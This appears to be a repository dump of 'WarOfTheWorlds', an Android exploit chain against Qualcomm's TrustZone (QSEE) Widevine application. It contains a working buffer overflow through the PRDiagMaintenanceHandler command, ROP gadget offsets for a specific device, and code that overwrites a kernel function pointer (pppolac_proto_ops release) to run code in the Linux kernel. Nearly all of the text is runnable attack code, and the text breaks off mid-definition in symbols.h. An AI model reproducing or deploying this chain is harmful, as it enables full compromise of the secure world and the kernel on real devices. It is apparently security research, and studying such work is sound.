├── jni ├── Application.mk ├── Android.mk ├── qsee_syscalls.h ├── vuln.h ├── defs.h ├── QSEEComAPI.c ├── vuln.c ├── widevine_commands.h ├── kallsyms.h ├── main.c ├── widevine_commands.c ├── symbols.h ├── exploit_utilities.h ├── kallsyms.c ├── QSEEComAPI.h └── exploit_utilities.c ├── README.md └── LICENSE /jni/Application.mk: -------------------------------------------------------------------------------- 1 | APP_PLATFORM := android-16 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WarOfTheWorlds 2 | QSEE Shellcode to directly hijack the "Normal World" Linux Kernel 3 | -------------------------------------------------------------------------------- /jni/Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH := $(call my-dir) 2 | 3 | include $(CLEAR_VARS) 4 | LOCAL_CFLAGS := -std=c99 5 | LOCAL_MODULE := wotw 6 | LOCAL_LDLIBS := -llog 7 | LOCAL_SRC_FILES := main.c QSEEComAPI.c vuln.c widevine_commands.c exploit_utilities.c kallsyms.c 8 | include $(BUILD_EXECUTABLE) 9 | -------------------------------------------------------------------------------- /jni/qsee_syscalls.h: -------------------------------------------------------------------------------- 1 | #ifndef __QSEE_SYSCALLS_H__ 2 | #define __QSEE_SYSCALLS_H__ 3 | 4 | #define QSEE_CIPHER_INIT (0xFFFFFFE9) 5 | 6 | #define QSEE_GET_SW_FUSE (0xFFFFFFF7) 7 | 8 | #define QSEE_PRNG_SYSCALL (0xFFFFFFE2) 9 | 10 | #define QSEE_SYSCALL_8 (0xFFFFFFF8) 11 | 12 | #define QSEE_PRNG_SYSCALL (0xFFFFFFE2) 13 | 14 | #define QSEE_REGISTER_SHARED_BUF (0xFFFFFF04) 15 | 16 | #define QSEE_DEREGISTER_SHARED_BUF (0xFFFFFFFC) 17 | 18 | #define QSEE_PREPARE_SECURE_READ (0xFFFFFF07) 19 | 20 | #define QSEE_UNPREPARE_SECURE_READ (0xFFFFFF05) 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /jni/vuln.h: -------------------------------------------------------------------------------- 1 | #ifndef __VULN_H__ 2 | #define __VULN_H__ 3 | 4 | /** 5 | * Overwrites data in the global buffer in the Widevine application using the given data. 6 | * @param handle The handle used to communicate with QSEECom 7 | * @param session_id The session ID whose context pointer should be overwritten 8 | * @param target_ptr The target address written as the context pointer 9 | * @return 0 if successful, a negative linux error code otherwise. 10 | */ 11 | int overwrite_session_pointer(struct qcom_wv_handle* handle, uint32_t session_id, uint32_t target_ptr); 12 | 13 | #endif 14 | -------------------------------------------------------------------------------- /jni/defs.h: -------------------------------------------------------------------------------- 1 | #ifndef __DEFS_H__ 2 | #define __DEFS_H__ 3 | 4 | /** 5 | * The size of the widevine message buffer allocated in PRDiagMaintenanceHandler 6 | */ 7 | #define TZ_MESSAGE_SIZE (0x3000) 8 | 9 | /** 10 | * The amount of data copied from the overflowing buffer 11 | */ 12 | #define OVERFLOW_COPY_SIZE (0x1000) 13 | 14 | /** 15 | * The path to the widevine application 16 | */ 17 | #define WIDEVINE_PATH ("/data/local/tmp/WV_mod_fw") 18 | 19 | /** 20 | * The name of the widevine application 21 | */ 22 | #define WIDEVINE_APP_NAME ("widevine") 23 | 24 | /** 25 | * The size of the buffer used when loading the widevine application 26 | */ 27 | #define WIDEVINE_BUFFER_SIZE (0x15000) 28 | 29 | /** 30 | * The garbage value used on the crafted stack. 31 | */ 32 | #define GARBAGE_VALUE (0xABABABAB) 33 | 34 | /** 35 | * The offset in the crafted stack to which we pivot (in order to account for some stack growth). 36 | */ 37 | #define CRAFTED_STACK_OFFSET (0x2000) 38 | 39 | /** 40 | * The offset of the "release" funcptr in pppolac_proto_ops. 41 | */ 42 | #define PPPOLAC_RELEASE_OFFSET (2*sizeof(uint32_t)) 43 | 44 | /** 45 | * The sync pattern used to find the widevine app in the "secure apps" area. 46 | * The data is composed of couples (data, offset), where offset is the 47 | * offset from the start of the overflowing buffer (in DWORDs) to which 48 | * the data should be written. 49 | */ 50 | static const uint32_t g_sync_pattern[] = {0, 0, 51 | 1, 1, 52 | 0, 2, 53 | 1, 3, 54 | 0, 4, 55 | 1, 5, 56 | 0, 6, 57 | 1, 7}; 58 | 59 | #endif 60 | -------------------------------------------------------------------------------- /jni/QSEEComAPI.c: -------------------------------------------------------------------------------- 1 | #include "QSEEComAPI.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | struct qcom_wv_handle* initialize_wv_handle() { 8 | 9 | //Initializing the handle 10 | struct qcom_wv_handle* handle = malloc(sizeof(struct qcom_wv_handle)); 11 | memset(handle, 0, sizeof(struct qcom_wv_handle)); 12 | 13 | //Getting the QSEECom library 14 | handle->libhandle = dlopen("libQSEEComAPI.so", RTLD_NOW); 15 | if (!handle->libhandle) { 16 | perror("[-] Failed to load QSEEComAPI"); 17 | return NULL; 18 | } 19 | 20 | //Loading the symbols from QSEEComAPI 21 | *(void **)(&handle->QSEECom_start_app) = dlsym(handle->libhandle,"QSEECom_start_app"); 22 | if (handle->QSEECom_start_app == NULL) { 23 | perror("[-] dlsym: Error Loading QSEECom_start_app"); 24 | dlclose(handle->libhandle); 25 | handle->libhandle = NULL; 26 | return NULL; 27 | } 28 | *(void **)(&handle->QSEECom_shutdown_app) = dlsym(handle->libhandle,"QSEECom_shutdown_app"); 29 | if (handle->QSEECom_shutdown_app == NULL) { 30 | perror("[-] dlsym: Error Loading QSEECom_shutdown_app"); 31 | dlclose(handle->libhandle); 32 | handle->libhandle = NULL; 33 | return NULL; 34 | } 35 | *(void **)(&handle->QSEECom_send_cmd) = dlsym(handle->libhandle,"QSEECom_send_cmd"); 36 | if (handle->QSEECom_send_cmd == NULL) { 37 | perror("[-] dlsym: Error Loading QSEECom_send_cmd"); 38 | dlclose(handle->libhandle); 39 | handle->libhandle = NULL; 40 | return NULL; 41 | } 42 | *(void **)(&handle->QSEECom_send_modified_cmd) = dlsym(handle->libhandle,"QSEECom_send_modified_cmd"); 43 | if (handle->QSEECom_send_modified_cmd == NULL) { 44 | perror("[-] dlsym: Error Loading QSEECom_send_modified_cmd"); 45 | dlclose(handle->libhandle); 46 | handle->libhandle = NULL; 47 | return NULL; 48 | } 49 | *(void **)(&handle->QSEECom_set_bandwidth) = dlsym(handle->libhandle,"QSEECom_set_bandwidth"); 50 | if (handle->QSEECom_set_bandwidth == NULL) { 51 | perror("[-] dlsym: Error Loading QSEECom_set_bandwidth"); 52 | dlclose(handle->libhandle); 53 | handle->libhandle = NULL; 54 | return NULL; 55 | } 56 | 57 | return handle; 58 | } 59 | -------------------------------------------------------------------------------- /jni/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "QSEEComAPI.h" 6 | #include "widevine_commands.h" 7 | #include "defs.h" 8 | #include "symbols.h" 9 | 10 | int overwrite_session_pointer(struct qcom_wv_handle* handle, uint32_t session_id, uint32_t target_ptr) { 11 | 12 | uint32_t cmd_req_size = QSEECOM_ALIGN(0x4000); 13 | uint32_t cmd_resp_size = QSEECOM_ALIGN(8); 14 | uint32_t* cmd_req = malloc(cmd_req_size); 15 | uint32_t* cmd_resp = malloc(cmd_resp_size); 16 | 17 | //Filling the request buffer with zeros to prevent overflowing data with harmful bytes 18 | memset(cmd_req, 0, cmd_req_size); 19 | 20 | //Filling the response buffer with marker bytes so we can easily see when the app crashes 21 | memset(cmd_resp, 'B', cmd_resp_size); 22 | 23 | //Crafting the header needed to create the overflow 24 | cmd_req[0] = PRDiagMaintenanceHandler; 25 | cmd_req[1] = TZ_MESSAGE_SIZE; //pTzMsg size 26 | //---pTzMsg starts here--- 27 | cmd_req[2] = 0; //type flag, 0=PRDiagVerifyProvisioning 28 | cmd_req[3] = 0; //unused 29 | cmd_req[4] = OVERFLOW_COPY_SIZE; //copy size 30 | cmd_req[5] = 0; //must be zero to reach wanted flow 31 | //---copied buffer starts here--- 32 | 33 | //Writing the sync pattern 34 | for (uint32_t i=0; iQSEECom_set_bandwidth)(handle->qseecom, true); 42 | if (res < 0) { 43 | free(cmd_req); 44 | free(cmd_resp); 45 | perror("[-] Unable to enable clks"); 46 | return -errno; 47 | } 48 | 49 | res = (*handle->QSEECom_send_cmd)(handle->qseecom, 50 | cmd_req, 51 | cmd_req_size, 52 | cmd_resp, 53 | cmd_resp_size); 54 | 55 | if ((*handle->QSEECom_set_bandwidth)(handle->qseecom, false)) { 56 | perror("[-] Import key command: (unable to disable clks)"); 57 | } 58 | 59 | free(cmd_req); 60 | free(cmd_resp); 61 | return res; 62 | } 63 | 64 | -------------------------------------------------------------------------------- /jni/widevine_commands.h: -------------------------------------------------------------------------------- 1 | #ifndef __WIDEVINE_COMMANDS_H__ 2 | #define __WIDEVINE_COMMANDS_H__ 3 | 4 | #include "QSEEComAPI.h" 5 | 6 | /** 7 | * Command codes for the widevine commands 8 | */ 9 | enum widevine_command_code { 10 | 11 | //2x Commands 12 | OEMCrypto_EncryptAndStore = 0x20002, 13 | OEMCrypto_GetKeyboxData, 14 | OEMCrypto_IdentifyDevice, 15 | OEMCrypto_GetRandom, 16 | unused, 17 | OEMCrypto_InstallKeybox, 18 | OEMCrypto_IsKeyBoxValid, 19 | OEMCrypto_Initialize, 20 | OEMCrypto_Terminate, 21 | OEMCrypto_GetKeyData, 22 | OEMCrypto_GetDeviceID, 23 | OEMCrypto_SetEntitlementKey, 24 | OEMCrypto_DeriveControlWord, 25 | OEMCrypto_DecryptVideo, 26 | OEMCrypto_DecryptAudio, 27 | unused2, 28 | QC_OEMCrypto_Delete_Keybox, 29 | 30 | //5x Commands 31 | drm_save_keys = 0x50001, 32 | drm_verify_keys, 33 | PRDiagMaintenanceHandler, 34 | PRDiagProvisionDataHandler, 35 | drm_prov_finalize, 36 | drm_app_save_qsee_ipc_wrapped_keys, 37 | drm_app_encapsulate_save_keys, 38 | drm_save_wrapped_keys, 39 | 40 | //6x Commands 41 | wv_dash_core_initialize = 0x61001, 42 | OEMCrypto_Dash_Terminate, 43 | OEMCrypto_OpenSession, 44 | OEMCrypto_CloseSession, 45 | OEMCrypto_GenerateDerivedKeys, 46 | OEMCrypto_GenerateNonce, 47 | OEMCrypto_GenerateSignature, 48 | wv_dash_core_load_keys_v8, 49 | wv_dash_core_refresh_keys, 50 | OEMCrypto_SelectKey, 51 | OEMCrypto_DecryptCTR, 52 | OEMCrypto_WrapKeybox, 53 | OEMCrypto_Dash_InstallKeybox, 54 | OEMCrypto_Dash_IsKeyboxValid, 55 | OEMCrypto_Dash_GetDeviceID, 56 | OEMCrypto_Dash_GetKeyData, 57 | OEMCrypto_Dash_GetRandom, 58 | wrapper_wv_dash_core_rewrap_device_rsakey, 59 | OEMCrypto_LoadDeviceRSAKey, 60 | OEMCrypto_GenerateRSASignature_V8, 61 | OEMCrypto_DeriveKeysFromSessionKey, 62 | OEMCrypto_ApiVersion, 63 | OEMCrypto_Generic_Encrypt, 64 | OEMCrypto_Generic_Decrypt, 65 | OEMCrypto_Generic_Sign, 66 | OEMCrypto_Generic_Verify, 67 | OEMCrypto_Dash_InstallEncapKeybox, 68 | OEMCrypto_Dash_InstallOEMWrappedKeybox, 69 | QC_OEMCrypto_Dash_Delete_Keybox, 70 | wrapper_get_hdcp_capability, 71 | unknown, 72 | OEMCrypto_UpdateUsageTable, 73 | OEMCrypto_DeactivateUsageEntry, 74 | OEMCrypto_ReportUsage, 75 | OEMCrypto_DeleteUsageEntry, 76 | OEMCrypto_DeleteUsageTable, 77 | wv_dash_core_load_keys, 78 | OEMCrypto_GenerateRSASignature, 79 | 80 | }; 81 | 82 | int close_session(struct qcom_wv_handle* handle, int ctx_id); 83 | 84 | int derive_keys_from_session_key(struct qcom_wv_handle* handle, 85 | int ctx_id, 86 | uint32_t enc_session_key_length, 87 | uint32_t mac_key_context_length, 88 | uint32_t enc_key_context_length); 89 | 90 | int send_cmd_1026(struct qcom_wv_handle* handle); 91 | 92 | int generate_nonce(struct qcom_wv_handle* handle, int ctx_id, uint32_t* nonce); 93 | 94 | int exec_func(struct qcom_wv_handle* handle, void* app, uint32_t function_address, uint32_t arg1, uint32_t arg2, uint32_t arg3, uint32_t arg4); 95 | 96 | #endif 97 | -------------------------------------------------------------------------------- /jni/kallsyms.h: -------------------------------------------------------------------------------- 1 | #ifndef __KALLSYMS_H__ 2 | #define __KALLSYMS_H__ 3 | 4 | #include "QSEEComAPI.h" 5 | 6 | /** 7 | * The physical address of the linux kernel. 8 | */ 9 | #define KERNEL_PHYS_ADDR (0x8000) 10 | 11 | /** 12 | * The upper bound of the kernel's size 13 | */ 14 | #define KERNEL_SIZE (0x1500000) 15 | 16 | /** 17 | * The size of the kernel's code segment 18 | */ 19 | #define KERNEL_CODE_SIZE (0xEFB000) 20 | 21 | /** 22 | * The number of DWORDs checked when probing for a symbol table page. 23 | */ 24 | #define SYMBOL_TABLE_DWORD_COUNT (4) 25 | 26 | /** 27 | * The number of matching potential symbol table pages needed to confirm a symbol table. 28 | */ 29 | #define NUM_SYMBOL_TABLE_PAGES (3) 30 | 31 | /** 32 | * The virtual address of the linux kernel. 33 | */ 34 | #define KERNEL_VIRT_ADDR (0xC0008000) 35 | 36 | /** 37 | * The number of tokens composing the symbol names. 38 | */ 39 | #define KALLSYMS_NUM_TOKENS (256) 40 | 41 | /** 42 | * The maximal size of a kallsyms symbol 43 | */ 44 | #define MAX_SYMBOL_SIZE (512) 45 | 46 | /** 47 | * The alignment used when emitting kallsyms labels in the build script. 48 | */ 49 | #define LABEL_ALIGN (4*sizeof(uint32_t)) 50 | 51 | /** 52 | * The delta between kernel physical memory and virtual memory 53 | */ 54 | #define PHYS_TO_VIRT (KERNEL_VIRT_ADDR - KERNEL_PHYS_ADDR) 55 | 56 | /** 57 | * Checks if the given address is a kernel virtual address. 58 | * @param addr The address to check 59 | * @return 1 iff the address is a kernel physical address, 0 otherwise. 60 | */ 61 | int is_kernel_virt_address(uint32_t addr); 62 | 63 | /** 64 | * Checks if the page at the given offset from the kernel's physical base is a 65 | * potential symbol table page (i.e., has monotone kernel virtual addresses). 66 | * @param handle The handle used to communicate with QSEECOM. 67 | * @param app The base address of the exploited QSEE application. 68 | * @param off The offset from the kernel's physical base address. 69 | * @return 1 iff the page is a potential symbol table page, 0 otherwise. 70 | */ 71 | int is_potential_symbol_table_page(struct qcom_wv_handle* handle, void* app, uint32_t off); 72 | 73 | /** 74 | * Heuristically checks if the given page is a symbol table page. 75 | * @param handle The handle used to communicate with QSEECOM. 76 | * @param app The base address of the exploited QSEE application. 77 | * @param off The offset from the kernel's physical base address. 78 | * @return 1 iff the page is a chunk in a symbol table, 0, otherwise. 79 | */ 80 | int is_symbol_table(struct qcom_wv_handle* handle, void* app, uint32_t off); 81 | 82 | /** 83 | * Finds the physical addresses related to the linux kernel symbol table. 84 | * @param handle The handle used to communicate with QSEECOM. 85 | * @param app The base address of the exploited QSEE application. 86 | * @return 0 if successful, a negative linux error code otherwise. 87 | */ 88 | int find_symbol_table_addresses(struct qcom_wv_handle* handle, void* app); 89 | 90 | /** 91 | * Looks up the symbol with the given name from the kernel's symbol table. 92 | * @param handle The handle used to communicate with QSEECOM. 93 | * @param app The base address of the exploited QSEE application. 94 | * @param name The name of the symbol to lookup 95 | * @return The address of the found symbol, or zero if it wasn't found. 96 | */ 97 | uint32_t kallsyms_lookup_name(struct qcom_wv_handle* handle, void* app, char* name); 98 | 99 | #endif 100 | -------------------------------------------------------------------------------- /jni/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include "QSEEComAPI.h" 13 | #include "symbols.h" 14 | #include "widevine_commands.h" 15 | #include "vuln.h" 16 | #include "defs.h" 17 | #include "exploit_utilities.h" 18 | #include "qsee_syscalls.h" 19 | #include "kallsyms.h" 20 | 21 | /** 22 | * The PPPOLAC protocol number (missing in the socket.h header) 23 | */ 24 | #define PX_PROTO_OLAC (3) 25 | 26 | /** 27 | * The address of the kernel function to execute. 28 | */ 29 | uint32_t (*g_function_addr)(uint32_t, uint32_t, uint32_t, uint32_t); 30 | 31 | /** 32 | * The first argument to the kernel function. 33 | */ 34 | uint32_t g_arg1; 35 | 36 | /** 37 | * The second argument to the kernel function. 38 | */ 39 | uint32_t g_arg2; 40 | 41 | /** 42 | * The third argument to the kernel function. 43 | */ 44 | uint32_t g_arg3; 45 | 46 | /** 47 | * The fourth argument to the kernel function. 48 | */ 49 | uint32_t g_arg4; 50 | 51 | /** 52 | * The return value from the kernel function executed. 53 | */ 54 | uint32_t g_ret_val; 55 | 56 | /** 57 | * A small stub function which is used to execute functions within the kernel. 58 | */ 59 | int kernel_context_execute_func(void) { 60 | g_ret_val = (g_function_addr)(g_arg1, g_arg2, g_arg3, g_arg4); 61 | return 0; 62 | } 63 | 64 | /** 65 | * Executes the given function within the kernel, using the supplied arguments. 66 | * @param func_addr The address of the function to execute. 67 | * @param arg1 The first argument. 68 | * @param arg2 The second argument. 69 | * @param arg3 The third argument. 70 | * @param arg4 The fourth argument. 71 | * @return The result of the function's execution. 72 | */ 73 | uint32_t execute_in_kernel(uint32_t func_addr, uint32_t arg1, uint32_t arg2, 74 | uint32_t arg3, uint32_t arg4) { 75 | 76 | //Setting the function and arguments 77 | g_function_addr = (uint32_t(*)(uint32_t,uint32_t,uint32_t,uint32_t))func_addr; 78 | g_arg1 = arg1; 79 | g_arg2 = arg2; 80 | g_arg3 = arg3; 81 | g_arg4 = arg4; 82 | 83 | //Opening and closing a PPPOLAC socket 84 | int sock = socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OLAC); 85 | if (sock < 0) { 86 | perror("[-] Failed to open PPPOLAC socket\n"); 87 | return -errno; 88 | } 89 | printf("[+] Opened PPPOLAC socket: %d\n", sock); 90 | close(sock); 91 | printf("[+] Executed function\n"); 92 | 93 | //Returning the result 94 | return g_ret_val; 95 | } 96 | 97 | /** 98 | * A small sample function which will be executed in the kernel. 99 | */ 100 | int foo() { 101 | return 0x1337; 102 | } 103 | 104 | int main() { 105 | 106 | //Getting the global handle used to interact with QSEECom 107 | struct qcom_wv_handle* handle = initialize_wv_handle(); 108 | if (handle == NULL) { 109 | perror("[-] Failed to initialize Widevine handle"); 110 | return -errno; 111 | } 112 | 113 | //Loading the widevine application 114 | int res = (*handle->QSEECom_start_app)((struct QSEECom_handle **)&handle->qseecom, 115 | WIDEVINE_PATH, WIDEVINE_APP_NAME, WIDEVINE_BUFFER_SIZE); 116 | if (res < 0) { 117 | perror("[-] Failed to load Widevine"); 118 | return -errno; 119 | } 120 | printf("[+] Widevine load res: %d\n", res); 121 | 122 | //Finding the application within the secure app region 123 | void* app = find_widevine_application(handle); 124 | if (!app) { 125 | perror("[-] Failed to find application\n"); 126 | (*handle->QSEECom_shutdown_app)((struct QSEECom_handle **)&handle->qseecom); 127 | return -ENOENT; 128 | } 129 | printf("[+] Found application at: %p\n", app); 130 | 131 | //Searching for the kernel's symbol table 132 | uint32_t pppolac_proto_ops_address = kallsyms_lookup_name(handle, app, "pppolac_proto_ops"); 133 | printf("[+] pppolac_proto_ops: 0x%08X\n", pppolac_proto_ops_address); 134 | uint32_t pppolac_proto_ops_phys_addr = pppolac_proto_ops_address - PHYS_TO_VIRT; 135 | printf("[+] pppolac_proto_ops physical address: 0x%08X\n", pppolac_proto_ops_phys_addr); 136 | 137 | //Using QSEE to overwrite the PPPOLAC_RELEASE function pointer 138 | printf("[+] Going to overwrite PPPOLAC pointer\n"); 139 | uint32_t pppolac_proto_ops_release = pppolac_proto_ops_phys_addr + PPPOLAC_RELEASE_OFFSET; 140 | map_write_dword(handle, app, (uint32_t)kernel_context_execute_func, pppolac_proto_ops_release); 141 | printf("[+] Hijacked pointer: %08X\n", map_read_dword(handle, app, pppolac_proto_ops_release)); 142 | 143 | //Executing a small function in the kernel 144 | execute_in_kernel((uint32_t)foo, 0, 0, 0, 0); 145 | printf("[+] Function returned: %08X\n", g_ret_val); 146 | 147 | //Unloading the widevine app 148 | (*handle->QSEECom_shutdown_app)((struct QSEECom_handle **)&handle->qseecom); 149 | printf("[+] Widevine unload res: %d\n", res); 150 | 151 | return 0; 152 | 153 | } 154 | -------------------------------------------------------------------------------- /jni/widevine_commands.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "widevine_commands.h" 6 | #include "symbols.h" 7 | #include "defs.h" 8 | #include "exploit_utilities.h" 9 | 10 | int close_session(struct qcom_wv_handle* handle, int ctx_id) { 11 | 12 | //Initializing the request and response buffers 13 | uint32_t cmd_req_size = QSEECOM_ALIGN(8); 14 | uint32_t cmd_resp_size = QSEECOM_ALIGN(8); 15 | uint32_t* cmd_req = malloc(cmd_req_size); 16 | uint32_t* cmd_resp = malloc(cmd_resp_size); 17 | memset(cmd_req, 0, cmd_req_size); 18 | memset(cmd_resp, 0, cmd_resp_size); 19 | 20 | //Filling in the data in the request buffer 21 | cmd_req[0] = OEMCrypto_CloseSession; 22 | cmd_req[1] = ctx_id; //ctxId 23 | 24 | int res = (*handle->QSEECom_set_bandwidth)(handle->qseecom, true); 25 | if (res < 0) { 26 | free(cmd_req); 27 | free(cmd_resp); 28 | perror("[-] Unable to enable clks"); 29 | return -errno; 30 | } 31 | 32 | res = (*handle->QSEECom_send_cmd)(handle->qseecom, 33 | cmd_req, 34 | cmd_req_size, 35 | cmd_resp, 36 | cmd_resp_size); 37 | 38 | if ((*handle->QSEECom_set_bandwidth)(handle->qseecom, false)) { 39 | perror("[-] Import key command: (unable to disable clks)"); 40 | } 41 | 42 | free(cmd_req); 43 | free(cmd_resp); 44 | return res; 45 | 46 | } 47 | 48 | int derive_keys_from_session_key(struct qcom_wv_handle* handle, int ctx_id, 49 | uint32_t enc_session_key_length, 50 | uint32_t mac_key_context_length, 51 | uint32_t enc_key_context_length) { 52 | 53 | //Initializing the request and response buffers 54 | uint32_t cmd_req_size = QSEECOM_ALIGN(61460); 55 | uint32_t cmd_resp_size = QSEECOM_ALIGN(8); 56 | uint32_t* cmd_req = malloc(cmd_req_size); 57 | uint32_t* cmd_resp = malloc(cmd_resp_size); 58 | memset(cmd_req, 0, cmd_req_size); 59 | memset(cmd_resp, 0, cmd_resp_size); 60 | 61 | cmd_req[0] = OEMCrypto_DeriveKeysFromSessionKey; 62 | cmd_req[1] = ctx_id; //ctxId 63 | cmd_req[0x5008/sizeof(uint32_t)] = enc_session_key_length; //enc_session_key_length 64 | cmd_req[0xA00C/sizeof(uint32_t)] = mac_key_context_length; //mac_key_context_length 65 | cmd_req[0xF010/sizeof(uint32_t)] = enc_key_context_length; //enc_key_context_length 66 | 67 | int res = (*handle->QSEECom_set_bandwidth)(handle->qseecom, true); 68 | if (res < 0) { 69 | free(cmd_req); 70 | free(cmd_resp); 71 | perror("[-] Unable to enable clks"); 72 | return -errno; 73 | } 74 | 75 | res = (*handle->QSEECom_send_cmd)(handle->qseecom, 76 | cmd_req, 77 | cmd_req_size, 78 | cmd_resp, 79 | cmd_resp_size); 80 | 81 | if ((*handle->QSEECom_set_bandwidth)(handle->qseecom, false)) { 82 | perror("[-] Import key command: (unable to disable clks)"); 83 | } 84 | 85 | res = (int)cmd_resp[1]; 86 | 87 | free(cmd_req); 88 | free(cmd_resp); 89 | 90 | return res; 91 | 92 | } 93 | 94 | int send_cmd_1026(struct qcom_wv_handle* handle) { 95 | 96 | //Initializing the request and response buffers 97 | uint32_t cmd_req_size = QSEECOM_ALIGN(4); 98 | uint32_t cmd_resp_size = QSEECOM_ALIGN(0xC); 99 | uint32_t* cmd_req = malloc(cmd_req_size); 100 | uint32_t* cmd_resp = malloc(cmd_resp_size); 101 | memset(cmd_req, 0, cmd_req_size); 102 | memset(cmd_resp, 0, cmd_resp_size); 103 | 104 | cmd_req[0] = 1026; 105 | 106 | int res = (*handle->QSEECom_set_bandwidth)(handle->qseecom, true); 107 | if (res < 0) { 108 | free(cmd_req); 109 | free(cmd_resp); 110 | perror("[-] Unable to enable clks"); 111 | return -errno; 112 | } 113 | 114 | res = (*handle->QSEECom_send_cmd)(handle->qseecom, 115 | cmd_req, 116 | cmd_req_size, 117 | cmd_resp, 118 | cmd_resp_size); 119 | 120 | if ((*handle->QSEECom_set_bandwidth)(handle->qseecom, false)) { 121 | perror("[-] Import key command: (unable to disable clks)"); 122 | } 123 | 124 | res = (int)cmd_resp[1]; 125 | 126 | free(cmd_req); 127 | free(cmd_resp); 128 | 129 | return res; 130 | 131 | } 132 | 133 | int generate_nonce(struct qcom_wv_handle* handle, int ctx_id, uint32_t* nonce) { 134 | 135 | //Initializing the request and response buffers 136 | uint32_t cmd_req_size = QSEECOM_ALIGN(0x8); 137 | uint32_t cmd_resp_size = QSEECOM_ALIGN(0xC); 138 | uint32_t* cmd_req = malloc(cmd_req_size); 139 | uint32_t* cmd_resp = malloc(cmd_resp_size); 140 | memset(cmd_req, 0, cmd_req_size); 141 | memset(cmd_resp, 0, cmd_resp_size); 142 | 143 | cmd_req[0] = OEMCrypto_GenerateNonce; 144 | cmd_req[1] = ctx_id; 145 | 146 | int res = (*handle->QSEECom_set_bandwidth)(handle->qseecom, true); 147 | if (res < 0) { 148 | free(cmd_req); 149 | free(cmd_resp); 150 | perror("[-] Unable to enable clks"); 151 | return -errno; 152 | } 153 | 154 | res = (*handle->QSEECom_send_cmd)(handle->qseecom, 155 | cmd_req, 156 | cmd_req_size, 157 | cmd_resp, 158 | cmd_resp_size); 159 | 160 | if ((*handle->QSEECom_set_bandwidth)(handle->qseecom, false)) { 161 | perror("[-] Import key command: (unable to disable clks)"); 162 | } 163 | 164 | res = (int)cmd_resp[2]; 165 | *nonce = cmd_resp[1]; 166 | 167 | free(cmd_req); 168 | free(cmd_resp); 169 | 170 | return res; 171 | 172 | } 173 | -------------------------------------------------------------------------------- /jni/symbols.h: -------------------------------------------------------------------------------- 1 | #ifndef __SYMBOLS_H__ 2 | #define __SYMBOLS_H__ 3 | 4 | /** 5 | * The offset of the data region in the widevine application 6 | */ 7 | #define DATA_SEGMENT_OFFSET (0x2D000) 8 | 9 | /** 10 | * The size of the data segment in the widevine application 11 | */ 12 | #define DATA_SEGMENT_SIZE (0x177B7) 13 | 14 | /** 15 | * The start address of the secure app region (on shamu) 16 | */ 17 | #define SECURE_APP_REGION_START (0xD600000) 18 | 19 | /** 20 | * The size of the secure app region 21 | */ 22 | #define SECURE_APP_REGION_SIZE (0x500000) 23 | 24 | /** 25 | * The end address of the secure app region 26 | */ 27 | #define SECURE_APP_REGION_END (SECURE_APP_REGION_START + SECURE_APP_REGION_SIZE) 28 | 29 | /** 30 | * The offset of the stack top in the overflow function from the beginning of the overflow buffer 31 | */ 32 | #define STACK_OVERWRITE_OFFSET (0x587*4) 33 | 34 | /** 35 | * The size needed when overwriting to reach the original stack. 36 | */ 37 | #define STACK_OVERWRITE_SIZE (0x27E4) 38 | 39 | /** 40 | * The offset of the stack top from the start of the data region. 41 | */ 42 | #define STACK_TOP_OFFSET (0x2FB8) 43 | 44 | /** 45 | * The start offset, in bytes, in the global buffer, in which the overflow starts 46 | */ 47 | #define START_OVERFLOW_OFFSET (0x10FC) 48 | 49 | /** 50 | * the start offset, in bytes, of the WV session pointers within the global buffer 51 | */ 52 | #define WV_SESSION_OFFSET (0x169C) 53 | 54 | /** 55 | * The probe offset at which the OEMCrypto_DeriveKeysFromSessionKey function attempts 56 | * to read a DWORD, starting at the session pointer. 57 | */ 58 | #define DERIVE_KEY_PROBE_OFFSET (0xDA) 59 | 60 | /** 61 | * The offset at which the nonce is generated into the session pointer 62 | */ 63 | #define NONCE_GENERATION_OFFSET (0x88) 64 | 65 | /** 66 | * The calculated top of the stack offset from the data segment start. 67 | */ 68 | #define CALC_STACK_TOP_OFFSET (0x278C) 69 | 70 | /** 71 | * The offset of the return address from the "widevine_handle_cmd" from the image base. 72 | */ 73 | #define HANDLE_CMD_RET_OFFSET (0xB52 + 1) 74 | 75 | /** 76 | * The offset of the "MOV R0, 0; BX LR;" from the widevine image start address 77 | */ 78 | #define MOV_R0_0_BX_LR_OFFSET (0x68 + 1) 79 | 80 | /** 81 | * the offset of the "ADD SP, SP, #8; POP {R4, R5, R6, PC}" gadget from the image base. 82 | */ 83 | #define ADD_SP_SP_8_POP_R4_R5_R6_PC_OFFSET (0x1E2D0) 84 | 85 | /** 86 | * The offset of the "POP {R1, R4, IP, SP, PC}" gadget from the image base. 87 | */ 88 | #define POP_R1_R4_IP_SP_PC_OFFSET (0x2292C) 89 | 90 | /** 91 | * The offset of the "POP {R0, R1, R3, PC}" gadget from the image base. 92 | */ 93 | #define POP_R0_R1_R3_PC_OFFSET (0x26CA6 + 1) 94 | 95 | /** 96 | * The offset of the "POP {R0, R2, R3, R4, PC}" gadget from the image base. 97 | */ 98 | #define POP_R0_R2_R3_R4_PC_OFFSET (0x2737C + 1) 99 | 100 | /** 101 | * The offset of the "POP {R4, R6, R9, FP, IP, PC}" gadget from the image base. 102 | */ 103 | #define POP_R4_R6_R9_FP_IP_PC_OFFSET (0x1E156 + 1) 104 | 105 | /** 106 | * The offset of the "POP {R4, R5, R6, LR}; BX IP;" gadget from the image base. 107 | */ 108 | #define POP_R4_R5_R6_LR_BX_IP_OFFSET (0x29A0) 109 | 110 | /** 111 | * The offset of the "POP {R1, R3, R5, R7, PC}" gadget from the image base. 112 | */ 113 | #define POP_R1_R3_R5_R7_PC_OFFSET (0x26D94 + 1) 114 | 115 | /** 116 | * The offset of the "STR R0, [R1, #520]; POP {R4, R5, R6, PC};" gadget from the image base. 117 | */ 118 | #define STR_R0_R1_520_POP_R4_R5_R6_PC_OFFSET (0x1F26A + 1) 119 | 120 | /** 121 | * The offset of the "LDMDB R0!, {R4, 